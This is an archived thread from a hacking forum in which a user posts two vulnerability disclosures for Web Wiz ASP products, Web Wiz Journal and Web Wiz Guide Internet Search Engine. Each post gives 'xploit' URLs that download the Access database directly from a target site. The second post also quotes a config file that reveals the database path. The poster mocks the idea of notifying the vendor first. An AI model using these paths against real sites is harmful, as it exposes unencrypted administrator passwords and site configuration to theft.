hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

qcred11
QUOTE


Web Wiz Journal discloses database to remote users.
A remote user can download database containing admin password also
configuration.

xploit:
http://target.com/PATH_TO_JOURNAL/journal.mdb
http://target.com/journal.mdb


Database Administrator's password is not encrypted. heh..

Vendor contacted: not yet.. lol

--
irc.xirc.org #sni-labs

qcred11
BTW here is another one:

QUOTE


Web Wiz Guide Internet Search Engine discloses database to remote users.
In the file common.inc (accesible to remote users) contain the path
and name of the database.
A remote user can download database containing admin password also
configuration.

common.inc:

<%
& #39;****************************************************************************
************
'**  Copyright Notice   
'**
'**  Web Wiz Guide Internet Search Engine
'**                                                             
'**  Copyright 2001-2002 Bruce Corkhill All Rights Reserved.         

......

'Database driver for Brinkster
'strCon = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" &
Server.MapPath("/USERNAME/db/search_engine.mdb") 'This one is for
Brinkster users place your Brinster username where you see USERNAME

'Alternative drivers faster than the basic one above
'strCon = "Provider=Microsoft.Jet.OLEDB.3.51; Data Source=" &
Server.MapPath("../search_engine.mdb") 'This one is if you convert the
database to Access 97
'strCon = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" &
Server.MapPath("../search_engine.mdb")  'This one is for Access
2000/2002
=====

xploit:

http://target.com/common.inc
http://target.com/search_engine.mdb

Database Administrator's password is not encrypted. heh..

Vendor contacted: not yet.. lol
--
irc.xirc.org #sni-labs

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.